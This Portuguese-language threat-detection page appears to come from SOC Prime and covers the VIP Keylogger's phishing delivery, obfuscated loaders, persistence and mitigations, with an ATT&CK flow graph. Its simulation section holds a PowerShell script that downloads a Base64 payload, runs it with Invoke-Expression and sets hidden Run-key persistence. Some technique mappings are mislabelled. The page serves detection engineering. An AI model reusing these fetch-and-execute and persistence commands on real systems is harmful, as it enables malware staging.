SOC Prime Bias: Médio

18 May 2026 19:04 UTC

VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas

Author Photo
SOC Prime Team linkedin icon Seguir
VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O VIP Keylogger é uma ameaça modular de roubo de informações entregue por meio de iscas de phishing, como alertas falsos de pagamento bancário. Sua cadeia de infecção depende de carregadores maliciosos baseados em VBS, JavaScript ou lote que usam ofuscação pesada, esteganografia em imagens PNG e abuso de variáveis de ambiente para ocultar estágios do PowerShell antes de lançar o keylogger final. Uma vez ativo, o malware captura credenciais, capturas de tela, conteúdos da área de transferência e senhas de Wi-Fi, então exfiltra os dados através de múltiplos canais de comando e controle. Os esforços de detecção devem focar em mudanças suspeitas no registro, valores incomuns de variáveis de ambiente e transições anormais da execução do script para cargas binárias.

Investigação

A Equipe de Pesquisa de Ameaças da Splunk revisou mais de 200 amostras de carregadores coletadas em março e abril de 2026, documentando seus padrões de nomenclatura, variantes de carregadores e o uso esteganográfico de arquivos PNG para entrega de carga útil. Os pesquisadores reproduziram o processo de desofuscação, identificaram o abuso da INTERNAL_DB_CACHE variável de ambiente e rastrearam a persistência até a chave de registro UserInitMprLogonScript . O relatório também mapeou cada comportamento observado para as técnicas MITRE ATT&CK relevantes para apoiar a engenharia de detecção.

Mitigação

As organizações devem interromper as tentativas iniciais de phishing por meio de controles de segurança de e-mail mais fortes e filtragem de URL. Os defensores devem monitorar a criação e modificação dos valores de HKCUEnvironment , especialmente entradas muito grandes ou uso da variável INTERNAL_DB_CACHE . A execução de carregadores baseados em scripts a partir de diretórios graváveis pelo usuário deve ser restrita, e o Modo de Linguagem Constrained do PowerShell deve ser aplicado sempre que possível. As ferramentas de segurança de endpoint também devem detectar injeção de processo em aspnet_compiler.exe e atividade suspeita de netsh .

Resposta

Se um indicador do VIP Keylogger for detectado, isole o host afetado, colete a memória volátil e os logs de execução do processo recente, e procure pelos artefatos de registro conhecidos, URLs de comando e controle baseados em PNG e arquivos descartados. Os scripts maliciosos devem ser removidos, as credenciais expostas redefinidas, e uma varredura mais ampla deve ser conduzida em todo o ambiente para artefatos relacionados a carregadores e mecanismos de persistência.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 %% Nodes initial_access["<b>Action</b> – <b>T1566 Phishing</b><br/>Malicious .vbs/.js/.bat delivered via email"] class initial_access action execution["<b>Action</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Script stagers executed on the host"] class execution action obfuscation["<b>Action</b> – <b>T1027.016 Junk Code Insertion</b>, <b>T1027.003 Steganography</b>, <b>T1027.009 Embedded Payloads</b><br/>Payloads hidden or disguised"] class obfuscation action persistence["<b>Action</b> – <b>T1574.007 Hijack Execution Flow</b> via Registry Logon Script (UserInitMprLogonScript)<br/><b>T1037.001 Boot Logon Init Script</b><br/>Ensures code runs at logon"] class persistence action priv_esc["<b>Action</b> – <b>T1055.002 Process Injection PE</b>, <b>T1055.001 DLL Injection</b>, <b>T1620 Reflective Code Loading</b><br/>Escalates privileges and evades defenses"] class priv_esc action credential_access["<b>Action</b> – <b>T1555.003 Browser Data</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Clipboard Hijacking</b><br/>Collects user credentials"] class credential_access action discovery["<b>Action</b> – <b>T1596.005 External IP Discovery</b> via public services<br/><b>T1016.002 Wiu2011Fi Password Discovery</b><br/>Gathers network information"] class discovery action collection["<b>Action</b> – <b>T1113 Screen Capture</b><br/>Collects visual data from the desktop"] class collection action c2["<b>Action</b> – <b>T1071.001 Web Protocols</b> and Telegram bot API<br/>Provides remote command and control"] class c2 action defense_evasion["<b>Action</b> – <b>T1070.004 File Deletion</b>, <b>T1070.010 Indicator Removal</b><br/>Removes evidence after operation"] class defense_evasion action %% Connections showing attack flow initial_access –>|leads_to| execution execution –>|leads_to| obfuscation obfuscation –>|leads_to| persistence persistence –>|leads_to| priv_esc priv_esc –>|leads_to| credential_access credential_access –>|leads_to| discovery discovery –>|leads_to| collection collection –>|leads_to| c2 c2 –>|leads_to| defense_evasion "

Fluxo de Ataque

Execução da Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visando gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errôneos.

  • Narrativa & Comandos do Ataque:

    1. Reconhecimento Inicial – o atacante executa Get-ADDomain (T1016.002) para descobrir relações de confiança de domínio.
    2. Aquisição de Carga Útil – usando Invoke-WebRequest (T1071.001) o atacante baixa um DLL codificado em Base64 que implementa o keylogger (T1056.001).
    3. Estágio via Variável de Ambiente – a string baixada é armazenada em uma variável de ambiente em nível de usuário por meio de [Environment]::SetEnvironmentVariable. Esta etapa satisfaz o foco da regra de detecção na manipulação de variáveis de ambiente.
    4. Execução Dinâmica – o atacante executa imediatamente a carga útil com Invoke-Expression $env:VIPPayload (T1059.001). O keylogger começa a capturar teclas digitadas, capturas de tela (T1113) e dados da área de transferência (T1115).
    5. Limpeza – após estabelecer persistência (por exemplo, criando uma chave de execução, T1037.001), o atacante exclui o DLL temporário do disco (T1070.004) e remove a variável de ambiente para reduzir as pegadas forenses.
  • Script de Teste de Regressão: O script abaixo reproduz os passos exatos e gera a telemetria que a regra Sigma espera.

    # Simulação VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Baixar uma carga útil fictícia (string codificada em Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Armazenar carga útil em uma variável de ambiente em nível de usuário
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodificar e executar a carga útil via Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opcional) Persistir via chave de execução – demonstra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Limpeza – remover a variável de ambiente e a entrada da chave de execução
    Start-Sleep -Seconds 30   # permitir que alguma atividade seja registrada
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandos de Limpeza: Execute estes comandos para retornar o sistema a um estado limpo após o teste.

    # Remover a variável de ambiente criada para o teste
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Excluir a entrada de persistência da chave de execução, se existir
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Limpar qualquer entrada residual do histórico do PowerShell (opcional)
    Clear-History